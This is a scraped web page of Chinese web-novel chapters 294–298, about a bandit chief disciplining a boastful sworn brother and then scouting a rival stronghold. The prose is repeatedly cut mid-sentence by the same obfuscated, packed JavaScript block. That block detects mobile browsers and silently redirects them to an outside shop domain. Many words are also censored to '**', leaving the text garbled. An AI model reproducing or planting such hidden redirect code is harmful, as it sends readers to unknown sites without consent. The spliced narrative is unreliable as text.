“二驴,这群土匪来势汹汹,晚上一定要做好大院的安全警戒,千万不能麻痹大意。” 张二驴对此有不同看法。 “狗哥,谅他们也不敢打咱们胡家大院的主意,角楼上那两挺**谁见了不怕?我倒想他们来,就地消灭,免得咱们还得想办法对付他们。” 李二狗没有张二驴这么乐观,他想得更加深远,人在走投无路的时候,是不会考虑那么多的。 “千万不可麻痹大意,想打咱们胡家大院主意的人不在少数。” “放心吧,狗哥,我一定提高警惕。”张二驴最担心的还是土匪抢粮的事情,“估计那些土匪今晚还会出来抢夺粮食,咱们是不是派些人下去?” 李二狗想了想,说道:“可以派些人下去,但记住一点,一定不要与他们产生正面冲突,遇到情况就放枪,能吓走就吓走,吓不走也不要主动出击。” 张二驴走后,李二狗来到清风寨。 议事厅内,气氛凝重。 “老三,转经山到底是什么情况?” 陈老三最近大门不出,二门不迈,对外界的情况一无所知。 他以为李二狗只是担心转经山会威胁清风寨的生存,便笑呵呵地说道:“我听说他们号称有几百人,想来也是扯大旗作虎皮,狗哥,你放心,他们威胁不了咱们。” 李二狗面无表情,眉头拧成疙瘩,显然对陈老三的回答很不满意。 “我问你他们是什么情况?” 陈老三一时语塞,结结巴巴地说道:“我听说他们大当家叫黄飞虎,长得虎背熊腰,曾经当过兵,是个狠辣角色。” “你他娘总是听说听说,你到底知道还是不知道?” 李二狗不在的时候,陈老三一向以大当家的自居,把谁都不放在眼里。 现在李二狗当着众人的面,骂得他下不来台,对此,他毫无办法。 “狗哥……咱们管他们转经山干嘛?他们肯定不敢得罪咱们。” 李二狗不想再和陈老三废话。 “嘎子,你了解吗?” 陈嘎子尴尬地摇了摇头。 “你呢,石头?” 张石头也摇了摇头。 李二狗最后才看向秀才。 “秀才,转经山的情况你了解吗?” 秀才看陈老三等人都不了解,他本不想出这个风头,但他不说又怕自己让李二狗失望。 如果一定要得罪人,那他肯定不愿意得罪李二狗。 “狗哥,前两天,转经山上的土匪打家劫舍、为非作歹,三哥安排我去那里打听了一下,我这还没来得及向大家汇报,今天就正式向大家汇报一下转经山的情况。” 陈老三感激地看了一眼秀才,心想这个人挺有脑子,不在李二狗面前邀功,给足了自己面子。 “那你说说吧,尽量说得详细一些。” “转经山上的土匪山寨号称霸虎寨,大当家的叫黄飞虎,以前是东北军的一个连长,此人有勇有谋、武艺高强,但杀戮成性,一言不合就**脑袋。东北沦陷后,他带着几个溃兵辗转来到转经山落草为寇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042727|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “除了黄飞虎,霸虎寨还有三个当家的,二当家名叫沈公豹,是黄飞虎的结拜兄弟,以前也在东北军,此人不仅狠毒,而且好色成性。” “三当家名叫**天,是霸虎寨的军师,此人是前朝秀才,足智多谋,但为人阴险狡诈,霸虎寨很多点子都出自他手。” “四当家名叫慕容燕,此人深藏不露,很少抛头露面,只知道是个颇有几分姿色的女人。” “因为赶上灾年,众多盗匪流寇纷纷加入霸虎寨,他们基本上是来者不拒,很快便**起了几百人的队伍,虽然对外号称有八百人之众,实际上只有四百人上下。” “霸虎寨占据转经山险要的地势和狭窄的一线天入口,确实有一夫当关万夫莫开之势。” “前段时间他们**过一些地主大院,但由于人员素质参差不齐,再加上武器装备不行,造成不小损失,所以他们就转而**小家小户,现在已成为江东一害。” 李二狗没想到自己才去了省城几天,江东竟然窜出这么一股庞大的黑恶势力。 “大家都听见了吧?看看人家秀才做了什么,你们又做了些什么?” 陈老三还是不服气。 “他霸虎寨再厉害,敢得罪咱们清风寨吗?老子分分钟灭了他们!” 李二狗彻底被陈老三激怒了,不知道什么时候陈老三已经变得如此狂妄自大,照此发展下去,终将害人害己。 李二狗决定要好好敲打敲打他。 “陈老三,你他娘是谁老子?吃了几天饱饭,尾巴都翘到天上去了!你还知道自己姓什么吗?” 陈老三仗着和李二狗的特殊关系,争辩道:“狗哥,我又不是针对你!” 李二狗猛地一拍桌子,呵斥道:“不是针对我是针对谁?我说一句你有十句等着我,你有什么不服气的?” 陈老三依然不服气。 “我可没有!再说清风寨谁敢对你不服气?!” 陈老三这话听起来已经有点置气的意思,场面一时变得有些难以收拾。 第294章 你到底是离不开**还是离不开李二狗 坐在陈老三旁边的陈嘎子急忙拉了一把陈老三。 “三哥,你少说两句吧。” 陈老三梗着头,质问道:“怎么?话还不让人说了?我又没说错什么!” 李二狗没想到陈老三这段时间竟然膨胀到如此地步,连自己都不放在眼里,长此以往,清风寨得改姓陈了。 “鉴于陈老三目无组织纪律,狂妄自大,思想认识出现严重偏差,本着惩前毖后,治病救人的方针,从即日起,撤销其清风寨经理和寨务会成员职务,以观后效。同意的请举手。” 李二狗率先举起了手,众人左顾右盼,虽有不同意见,但谁又敢违拗李二狗的意见,于是只能跟随李二狗举起了手。 陈老三目瞪口呆,他没想到自己仅仅因为几句话,李二狗就撤销了他的所有职务。 陈老三“蹭”的一下站了起来,梗着头,嚷道:“狗哥,我不服!” “此项决定已经在寨务会上举手表决通过,你有意见可以保留,但是必须无条件执行,现在请你出去,不要耽误我们开寨务会。” 陈老三此时双眼通红,大颗大颗的汗珠从额头滚滚而下。 “我对你的处理决定不服!你这是搞**!” 陈嘎子担心陈老三做出什么过激的事情,赶忙劝道:“三哥,狗哥现在正在气头上,你还是先出去吧,等找个机会再向狗哥认个错,这事就过去了。” “是啊,三哥,你别说了,等狗哥消了气再说。” 秀才知道,李二狗这样做不仅是为了打击陈老三的嚣张气焰,更主要是拿陈老三这个莽夫来进一步树立自己在清风寨的权威。 陈老三就像水浒传里的黑旋风李逵,对于这样忠诚的人,李二狗不可能不用他。 但别人都在劝,他不可能什么都不做,这样会显得他与其他人格格不入。 “三哥,你还是听大家的吧,真闹僵了就没有回旋余地了。” 陈老三一直对李二狗忠心耿耿,没想到李二狗竟如此六亲不认。 他很伤心,特别特别伤心。 “此处不留爷,自有留爷处,老子下山还不行?!” 陈老三说完摔门而出。 陈嘎子担心陈老三一气之下真下了山,便要追出去继续劝解。 李二狗喊道:“嘎子,不要管他。” 对于陈老三这个人,李二狗比他自己还懂他。 他不可能下山,下了山他吃什么?喝什么?离开李二狗他将一无是处,根本没有立足之地。 更重要的是,即使陈老三失去理智真要下山,望冬也不可能跟他下山。 望冬不走,陈老三便走不了。 “狗哥,三哥要是想不开,真下了山怎么办?” “他下山正好,这样的人就不配留在清风寨,咱们继续开会。” 陈嘎子见状只能回到自己的座位坐下来。 陈老三离开议事厅,郁闷地回到家中。 望冬正好训练完,两人几乎前后脚回到家中。 “望冬,赶紧收拾东西,咱们离开这个鸟山寨!” 望冬不解地问道:“离开山寨?为什么要离开山寨?你要去哪?” 陈老三忿忿地说道:“去哪都行,总比留在这里受腌臜气强。” 在清风寨,陈老三几乎谁都不放在眼里,能让他如此生气的也就只有李二狗了。 “你是不是惹狗哥生气了?” 陈老三跳了起来,满脸愤懑。 “我敢惹他生气?我只是说了几句话而已,他竟然直接撤了我的经理职务,还把我赶出了议事厅!我好歹也是山寨二当家,他怎么能一点面子都不给我呢?实在是太伤我心了,这次我非离开山寨不可!” “你是山寨二当家?谁给你封的?”望冬质问道。 “这还用封吗?凭我和他的关系,在山寨谁敢排在我前面?” “呵呵,你也知道是凭和他的关系?” 陈老三委屈的直掉眼泪。 “那又怎么样?当着大家的面让我下不来台,他还有没有把我当兄弟?这些年我对他可是忠心耿耿,没有功劳也有苦劳吧?他这不是卸磨杀驴吗?” 陈老三最近一段时间在山寨几乎横着走,谁都不放在眼里,望冬也是看在眼里急在心里。 自己曾经提醒过他的几次,他嘴上答应着,实际上依然我行我素。 看来李二狗也是出于这个原因,想要借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049247|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 机敲打敲打他,并不是真要撤销他的职务。 想到这,望冬便放下心来。 “老三,扪心自问,狗哥对咱俩是真不错,别的不说,要是没有他,咱俩能在一起吗?能过上现在这种衣食无忧的日子吗?” 此时讲这些大道理,陈老三根本听不进去。 李二狗是对自己不错,可自己对李二狗也是忠心耿耿。 将心比心,他也不能这样对待自己。 可他忘记了一个因果事实,是李二狗先对他好,他才对他忠心耿耿。 如果李二狗没有给他好处,他还能无条件地对李二狗忠心耿耿吗? “望冬,反正我在山寨是待不下去,你快收拾东西,咱们一起下山。” 望冬没想到陈老三如此榆木脑袋,考虑事情根本不计后果。 “你想下山你自己下山吧,我不会离开素文姐的。” 陈老三情急之下,嚷道:“你到底是离不开**还是离不开李二狗?你别忘了你是我陈老三的媳妇!” 闻听此言,望冬即刻变了脸色,大颗大颗的泪珠滚滚而下。 “没想到我望冬在你眼里竟是这种女人,陈老三,你实在是太令我失望了。” 其实陈老三说完就后悔了,但他正在气头上,并不打算就此服软。 “你要不是因为他,现在就跟我下山。” 望冬越哭越伤心,干脆一屁股坐在地上嚎啕大哭。 “你走吧,就当我从来不认识你这个人,亏我这些日子对你这么好,你的良心都被狗吃了!” 看着望冬哭得那么伤心,陈老三心疼不已,但他并不打算屈服,不然以后在这个家里,他就真的没有一点地位了。 “好,你不走,我自己走!” 其实陈老三并不打算真要离开清风寨,他只是做做样子给李二狗看。 他就不信,自己离开清风寨,李二狗会从此对自己不闻不问,他不是那样的人。 “你走吧,我会一个人把孩子拉扯大,我苦命的孩子啊,还没出生就没有爹疼,咱们娘俩的命都好苦啊。” “你说什么?” 陈老三跪在地上,双手扶着望冬的肩膀,早已泪眼婆娑。 第295章 负荆请罪 清风寨议事厅。 “最近霸虎寨的土匪在夜间趁着麦收时节在各地偷割小麦,大家都听说了吗?” 陈嘎子和张石头面面相觑,两人现在也是很少下山,对山下发生的事情并不知晓。 李二狗无奈地摇摇头,看向秀才。 “狗哥,霸虎寨这几天确实在组织人员夜里到各村去偷割小麦,其实也不算是偷割,他们简直就是明目张胆地抢。割麦子的时候通常会派几个人**在村口守着,碰到出村的村民,他们立马就开枪。” “今年灾情刚刚有所缓解,农民还指望着地里的麦子活下去,霸虎寨这样做是把他们往绝路上逼啊。” 陈嘎子一脸茫然,他现在越来越搞不懂李二狗心里到底在想些什么。 农民能不能活下去,和你有什么关系? 政府都不管,用得着你一个地主大院的管家咸吃萝卜淡操心? 张石头和陈嘎子的想法是一致的,他和陈嘎子对视一眼,不自觉地撇了撇嘴。 但李二狗在清风寨是神一般的存在,他们不敢顶撞他! 他不仅是清风寨的大当家、胡家大院的管家,江东县县长是他大哥,省城吴有德是他干爹,这样的人谁敢不服? 陈老三作为他最忠诚的走狗,他说处理就处理,更何况对其他人。 秀才对李二狗的想法却深表赞同。 他们杆子帮的口号本来就是保家卫国兴邦。 大至一个帮派,小到一个山寨,若是没有一点家国情怀,永远只能是一群乌合之众,走不长远。 “狗哥,要不然我去一趟霸虎寨劝劝他们?”秀才主动请缨道。 现在霸虎寨的土匪比清风寨多出一倍不止,他们不一定会把清风寨放在眼里,但眼下也确实没有好的办法。 “秀才兄弟,那就辛苦你走一趟,见到黄飞虎,一定要晓以利害,但要记住一点,不要让自己陷入危险境地,如果不行,千万不要激怒他们。” “狗哥,放心,凭咱们清风寨在江东的名头,相信他们多少会给一点面子。” “好,你去准备准备,午后出发。嘎子、石头,近期一定要加强山寨的守卫,切不可大意。” 散会后,李二狗回到家中。 陈老三光着身子,背上绑着几根树枝,正跪在院子里。 看到李二狗,陈老三立即“砰砰砰”磕了三个响头。 “狗哥,我错了,请你原谅我吧。” 李二狗看陈老三滑稽的样子,差点笑出声来。 他努力克制着自己的情绪,揶揄道:“老三,你不是下山了吗?怎么还没走?等着我给你送行吗?” “狗哥,我错了,我说过,今生今世都会追随你鞍前马后,我是不会下山的!” “男子汉大丈夫,一言既出,驷马难追,你陈老三说话要是和放屁一样,我都瞧不起你!快点收拾东西下山吧,清风寨是座小庙,容不下你这尊大神。” 李二狗说完直接进了屋。 望冬正在低头抽泣,**拉着她的手在安慰她。 “二狗,你对老三未免太严厉了些,他对你没有贰心的!” “是啊,狗哥,老三对你绝无贰心。” 李二狗坐到椅子上,拿起茶杯轻轻呷了一口茶。 “我从来没有怀疑过他的忠心,但我对他的期望并不只是尽忠这么简单,这些年他不仅没有一点长进,还学会了狂妄自大、自我膨胀,如果不是下面有两个蛋坠着,他都要上天了!今天不给他一点教训,日后他还不反了天了?” 听到李二狗的粗话俚语,望冬破涕而笑,**也被他逗笑了。 “当着望冬的面你胡咧咧啥?告诉你一个好消息,望冬有了。” **脸上闪过一丝失落,望冬都有了,而自己却一直没有动静。 “有什么了?”李二狗一时没有反应过来。 “当然是怀孕了,你猪脑子啊!” 怪不得陈老三这么短的时间就来家中负荆请罪,原来是望冬怀孕了。 “望冬,恭喜你啊,要当娘了。” “这得感谢狗哥和素文姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049248|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的帮助,没有你们就没有我的今天。” “哈哈,这事你要感谢我,你素文姐和老三都饶不了我。” 两人一开始没明白李二狗话里的意思,等反应过来,**作势要拧他,望冬则羞红了脸。 “狗哥,你就原谅老三吧,他已经知道错了。” “望冬,我认识老三的时间比你长,我对他的了解也不比你少,同样我对他的感情也很深,我生气不是因为他当众顶撞我,而是他忘记了自己来时的路,骄娇二气一旦养成,害人害己。” “二狗,老三已经知道错了,我看这次你就原谅他吧,他也是七尺高的汉子,能这样低声下气跪在院子里,也需要很大的勇气。” “要不是望冬怀孕不肯跟他下山,他能来这里负荆请罪吗?” “二狗,都是自家兄弟,关键还有望冬的面子,你要不给老三一个台阶,他今天怎么收场?” 望冬突然跪在李二狗面前。 “狗哥,我替老三向你赔罪,你就原谅他吧。” 李二狗见状,急忙上前扶起望冬。 “你是有身孕的人,怎么能下跪呢?快起来,地上凉。” 望冬坚持跪在地上。 “狗哥,当初你和素文姐让我嫁给他,说实话,我内心是不情愿的。” **和李二狗尴尬地对视一眼,**扶住望冬,劝道:“望冬,你先起来再说。” 望冬执意跪在地上。 “狗哥,素文姐,我没有责怪你们的意思,我知道以我的条件,能嫁给老三这样的人,已经是我最好的归宿。” **被望冬的几句话感动了。 “望冬,你别这样说自己,先起来。” 望冬没有起身,徐徐说道:“自从嫁给他之后,他对我是真好,虽说也有这样那样的毛病,但人哪有十全十美的?他要是貌比潘安,才比子建,也不会娶我这样的女人对不对?” 李二狗果然没有看错望冬,把她嫁给陈老三,无论是对她自己还是对陈老三都是一个极好的安排。 第296章 去看寨门吧 “狗哥,现在我已经怀了他的孩子,嫁鸡随鸡,嫁狗随狗,他在哪我就在哪,他要下山,我只能随他而去,这是我的命,也是我肚子里孩子的命。” 话已至此,李二狗为了望冬,也不能再和陈老三置气。 “望冬,你起了吧,我原谅老三了。” “谢谢狗哥,谢谢狗哥。” **把望冬从地上扶起来。 望冬踱到门口,冲着陈老三喊道:“狗哥原谅你了,快进屋!” 听到让自己进去,陈老三赶紧从地上爬起来,跑到屋里。 “狗哥,我错了!” 陈老三再一次跪在地上,不管他有没有认识到自己的错误,但这种态度令李二狗十分满意。 李二狗不想令望冬尴尬,便说道:“老三,你起来说话。” “谢谢狗哥。”陈老三获得李二狗的谅解,激动不已。 “老三,你总说知道自己错了,那你告诉我,你错在哪里了?” 陈老**口而出:“我不该顶撞你,是我错了。” 李二狗被陈老三的憨劲气乐了。 “在你心里,我就是一个心胸狭隘的人是不是?我就是一个没有容人之量的人是不是?” 陈老三看李二狗生气的样子,心里直犯嘀咕:不就是因为我顶撞了你,你才生气的吗?难道还有别的原因? 望冬在一旁急得直跺脚。 “老三,你得从根上找毛病。” “根上?我根上哪有什么毛病?儿子这不都怀上了吗?” 望冬又气又急,恨不得冲上去咬他一口。 李二狗没想到陈老三竟是这么一块朽木。 虽说响鼓不用重锤,快马不用鞭催,面对陈老三这个憨货,李二狗只能把话说到明面上。 “老三,我问你,最近这段时间,我不在的山寨的时候,你是不是走路鼻孔朝天,谁都不放在眼里?” 陈老三恍然大悟。 “狗哥,我知道了,肯定是有**打我小报告。**,对我有意见,可以当面鼓对面锣的说清楚,背后嚼舌根子算什么英雄好汉!” 李二狗服了,他总算彻底认清了陈老三这个人。 自己要是把山寨大权交给这样的人,离寨毁人亡就不远了。 “老三,你不要胡嘞,没有人打你小报告,你自己什么表现心里没数吗?咱们山寨成立之初就建立了轮值制度,山寨日常事务由轮值经理负责,你凭什么以二当家自居?” 陈老三这才变得支支吾吾起来。 “狗哥,其实我……我并不是想当二当家,只是这清风寨是你一手建立起来的,你不在的时候我不得替你看好吗?谁让我是你最好的兄弟呢?” “什么叫替我看好?山寨是我个人的吗?山寨是大家伙的!山寨的运行依靠的是已经设定好的各项规章制度,你是我最好的兄弟不假,但你都带头破坏规矩,我还怎么去要求别人?” 陈老三不好意思地摸着头,脸红得像猴屁股。 “嘿嘿,狗哥,咱不是没文化吗?我记住你说的话了,下次一定不会了。” “动不动就以大老粗自居,以没文化为荣,我看不上这样的人。占着茅坑不拉屎,占着高位不胜任,到头来丢的不是你一个人的脸,丢的是我的脸,丢的是望冬和你孩子的脸,丢的是全寨兄弟的幸福生活!” 陈老三终于认识到了自己的错误,他没想到自己的行为会带来如此严重的后果。 “狗哥,我这次真认识到自己的错误了,你就处罚我吧,你怎么处罚我都心甘情愿地接受,只要你别把我赶下山。” “嘴上说认识到错误还不够,关键看你的行动。我刚在寨务会上免了你的职务,不可能立马给你恢复。前几天孔三愣被**,他的职位目前还空缺着,你就顶替他的位置去看寨门吧,你有意见吗?” 陈老三内心虽有一万个不愿意,但他此时也不敢提出来。 “狗哥,我愿意。” “回去吧,照顾好望冬。” 陈老三赶忙上前扶着望冬。 “狗哥,谢谢你,那我们走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李二狗冷“哼”一声。 “老三看着傻,其实心里鬼精鬼精的,他才不会离开山寨。” “哎,没想到望冬都有孩子了,二狗,我还想在努力一把。” **眼睛直勾勾地盯着李二狗,眼神荡漾。 第297章 深入霸虎寨 霸虎寨的事情一直萦绕在李二狗的心头,他此时可没有这个兴致。 “素文,我有要事要马上下山,等过段时间闲下来,咱俩再好好努努力。” **顿时变了脸,眼泪瞬间流了下来。 “哼,这么急着下山,是回去看你的宝贝女儿吗?” 李二狗知道,生不了孩子是**心里永远的痛。 面对她的诘问,李二狗只能紧紧抱住她,**挣扎着,他反而抱得更紧了。 “素文,不管咱们有没有孩子,我都会一生一世对你好。” **终究还是抵不住李二狗的攻势。 “二狗,你不许骗我!在这个世界上我只有你一个亲人,没有你我真得活不了。” 李二狗此时只感觉心力交瘁,他真想回到以前那个虽然食不果腹却无忧无虑的时候。 可如今一切都回不去了。 如果再让他选择一次,他依然会选择这条走过的路。 这是人性使然,也是他的命! 秀才独自一人骑马下了山,半路上正遇到李二狗,很显然是在等他。 “狗哥,你怎么在这里?” 李二狗神秘一笑:“我给你当跟班,陪你一起去霸虎寨。” 秀才一听,吓得脸都白了。 “狗哥,这可万万使不得,你怎么能冒险去霸虎寨呢?这实在是太危险了!我不同意!” 李二狗之所以要和秀才一起去霸虎寨,是因为他心里十分清楚,想靠动动嘴皮子就劝动黄飞虎放弃打家劫舍,希望非常渺茫,所以他想亲自去霸虎寨探探地形,为下一步行动提前做准备。 “秀才,放心吧,我只是一名跟随你的无名小卒,不会有什么危险的。” “狗哥,你确定要去吗?要不然我回山寨多叫几个弟兄一起?” “霸虎寨四百多号人,你多叫几个人能有什么区别?就咱俩吧,路上在商量商量对策。” 秀才知道,李二狗一旦决定的事情,谁也改变不了。 秀才玩笑道:“狗哥,到了霸虎寨,一旦劝解不成,他们要是把咱们打一顿,那可就丢大发了。” “其实你我心里都清楚,霸虎寨不会轻易听咱们的劝解,我看这次去,你先不要劝他们。” “那咱们还去霸虎寨干什么?” “你先假意和他们结盟,然后再试探一下他们的真实态度,一定要想办法让他们今晚把咱们留在山寨,我想趁此机会深入打探打探霸虎寨的地形。” 秀才瞬间明白了李二狗的意图。 “狗哥,你这是想吞并霸虎寨?” “既然劝不了那就消灭它,不能让他们在江东的地面上为非作歹。” “狗哥,我看你现在都快成江东警察局局长了。” “哈哈,秀才你说得对,老子就是警察局局长,在江东这个地面上,谁欺压百姓,老子就要灭了它。” 说话间,两人已经来到霸虎寨的地盘。 两人一直走到寨门,路上都没有遇到暗哨盘查,李二狗没想到霸虎寨竟如此张狂,连暗哨都懒得安排。 寨门口的土匪听到是清风寨的人来访,态度立刻变得恭敬了许多。 “你们先等一下,我马上去报告。” 不一会儿,一个瘦骨嶙峋的男子走了出来,看年纪大约五十岁左右,正是霸虎寨三当家**天。 “鄙人**天,不知清风寨的好汉到访,有失远迎,还望恕罪啊。请问好汉如何称呼啊?” 秀才拱手还礼,说道:“早就听闻雷当家的大名,今日得见,实乃三生有幸。鄙人清风寨秀才,今日贸然前来造访,如有打搅之处,还望闻当家的见谅。” “秀才当家的客气了,我们大当家的早就想去清风寨拜访,只是怕惊扰了各位当家的,快里面请。” 秀才跟着**天进入了霸虎寨。 李二狗一直在暗中观察着霸虎寨的地形。 不得不说,霸虎寨选择的地形确实是百里挑一,其险要的地势和狭窄的一线天入口,只要在寨门口架上两挺**,一个团的人都难以攻上来。 进入霸虎寨,里面又是另一番情形。 也许是因为建寨不久,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053014|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 加上短期内招纳大量人员,霸虎寨只在寨子中心位置建了三间大瓦房,房子正中写有三个大字:聚义堂。 其余全是一些低矮的小木屋,一排排堆砌在四周,显得极其杂乱。 寨子西侧院子里堆满了**而来的麦子,一个一个的麦跺几乎堆满了半个山寨。 在麦跺旁边有几块平整的空地,上面建了数个打麦场,有一群土匪赤裸着膀子正在打麦场上拉着石磙脱粒,一派繁忙的打麦景象。 **天有些不好意思地解释道:“最近收了一些麦子,也没有合适的打麦场,只能堆在这里,实在是有碍观瞻,让秀才当家的见笑了。” 秀才说道:“手里有粮才能心里不慌,我们实在是羡慕你们呐。” “秀才当家的太谦虚了,你们清风寨是江东第一寨,我们是真的羡慕你们才对。” “哈哈,雷当家的才是真得谦虚,我们清风寨都快断粮了,哪像你们这么富裕。” 人家山寨都是把没有的吹嘘成有的,以此来显示自己的山寨的强大,**天没想到秀才竟主动示弱。 也许这就是人家江东第一寨的底气! “哈哈,秀才当家的真会开玩笑,快请进。” 秀才转身对李二狗说道:“小狗子,你别跟着我进去了,留在这里学学人家霸虎寨的兄弟如何打场,说不定以后咱们也能用得上。” 李二狗恭敬地说道:“遵命!” **天带着秀才进了聚义堂,李二狗则在霸虎寨溜达起来。 见一个大汉赤着膀子停下来喝水,李二狗走过去搭讪。 “老哥,好把式啊,一看就是打麦的行家。” 汉子抬眼看了李二狗一眼,见他穿的人模狗样,并不像是山寨中人。 “这位兄弟看着眼生,新来的?” 李二狗随手从兜里掏出一盒烟,抽出一支递给汉子。 汉子见是好烟哈德门,赶忙接了过去,李二狗赶紧擦燃一支火柴给他点上,然后自己也点了一颗。 吞云吐雾间,两人的陌生感便消解了很多。 第298章 谁愿意做这种缺德的事情 “我是清风寨的,跟着我们当家的来拜访你们霸虎寨黄大当家的。” 一听清风寨,汉子的态度立马变得恭敬起来。 “你是清风寨的?怪不得穿得人五人六的,哪像我们和一群要饭的差不多。” “哈哈,老哥你可真会开玩笑,谁不知道你们霸虎寨兵强马壮,你们如今才是江东第一寨。” 汉子苦笑两声,脸上颇有几分愤懑。 “兵强马壮?呵呵,我们这些人能有口吃的就不错了,不像他们,整天大鱼大肉的嚯嚯。” 汉子口中的他们肯定是指霸虎寨几个当家的。 看来霸虎寨几个当家的对待手底下的人并不友好。 “老哥,看你们霸虎寨堆着这么多麦子,吃个几年都不成问题,我们是羡慕的不行啊。” “呵呵,你以为这些是给我们自己吃的吗?麦子价格那么贵,怎么舍得给我们吃?” 李二狗故意装出一副吃惊的样子。 “不给弟兄们吃给谁吃?咱们啸聚山林不就是为了能大口喝酒大口吃肉吗?” “他们那些当家的当然可以大口喝酒大口吃肉,我们这些小喽啰连汤都喝不上。” “不会吧?我还以为你们顿顿有酒喝,顿顿有白面馍馍吃呢。” 汉子欲言又止,显然对李二狗并不是完全信任。 “哎,算了,不说了,我去干活了。” 李二狗拉住汉子,又递上一支烟。 “老哥,别急啊,来,再抽根烟,我还有事情想向你打听打听呢。” 汉子接过烟,李二狗又划了根火柴给他点燃。 “还有什么事?快点说,让队长看到我偷懒又该挨骂了。” 李二狗看到不远处确实坐着一个穿绸缎衣服的男子,嘴里吆五喝六地指挥着光膀子的人拉磙脱粒。 “老哥,咱们去麦跺后面说。” 汉子也正想多偷会懒,便跟着他来到一个麦垛后面。 “兄弟,还有啥事你就说吧。” “老哥,实不相瞒,我们清风寨这两年是王小二过年,一年不如一年。我这想着投奔你们霸虎寨,吃香的喝辣的,刚才听你那么一说,心里又犯嘀咕,你说得可是真的?可别骗我啊。” “兄弟,听哥一句劝,你可千万别来,别看我们霸虎寨有这么多小麦,可这些小麦我们一粒也吃不到,他们早就联系好了买家,都是要卖掉的。” “啊!这也太过分了吧?这么多小麦,怎么也得给兄弟们留一点吧?” “留一点?哼,门都没有!我们现在每顿只给两个窝头,连根咸菜都没有,他们根本不把我们当人看。” 霸虎寨这样对待底下的人倒是很出乎李二狗的意料。 “我听说你们现在每天晚上都出去割麦子?” “哎,那也是没有办法的事,其实我们也不想这样,都是被他们逼得!” “他们?老哥,你都把我说糊涂了。” “兄弟,实不相瞒,这个霸虎寨看着人多,其实大多数人都是为了一口吃食才上的山,他们根本不把我们当兄弟看待,我们只不过是他们眼里的牲口罢了。” “我听说你们霸虎寨只有四个当家的,你们这么多人……” 汉子明白李二狗的意思,他左右看了看,然后低声说道:“霸虎寨只有四个当家的不假,但是还有二三十个当年跟着大当家在东北军当兵的人,他们个个凶神恶煞,手里都有家伙,一言不合就对我们拳打脚踢,大家也是敢怒不敢言。” 李二狗算是听明白了,霸虎寨虽然有四百多人,但是真正的土匪只有三十人左右。 “老哥,我觉得你们大当家的这样做可不对,同样是上山当土匪,怎么还能区别对待呢?” 汉子叹息一声:“哎,哪又有什么办法呢?遇到灾年,不上山只能眼睁睁饿死,其实我们也不想去抢地里的麦子,大家都乡里乡亲的,谁愿意做这种缺德的事情!” “老哥也是江东人?” “是啊,就在山下不远的靠山屯。” “家里没有地?” “早年租了几亩地,可地早就荒了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056252|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 去年秋天根本没有种子种下。” “我要是家里有地,我就不当这个窝囊的土匪,还是自己种地自己吃踏实。” “哎,谁说不是呢?现在只能走一步看一步了。” “割完麦子就可以种玉米了,老哥家里那几亩地不得种上吗?要不然秋天还是没有收成。” 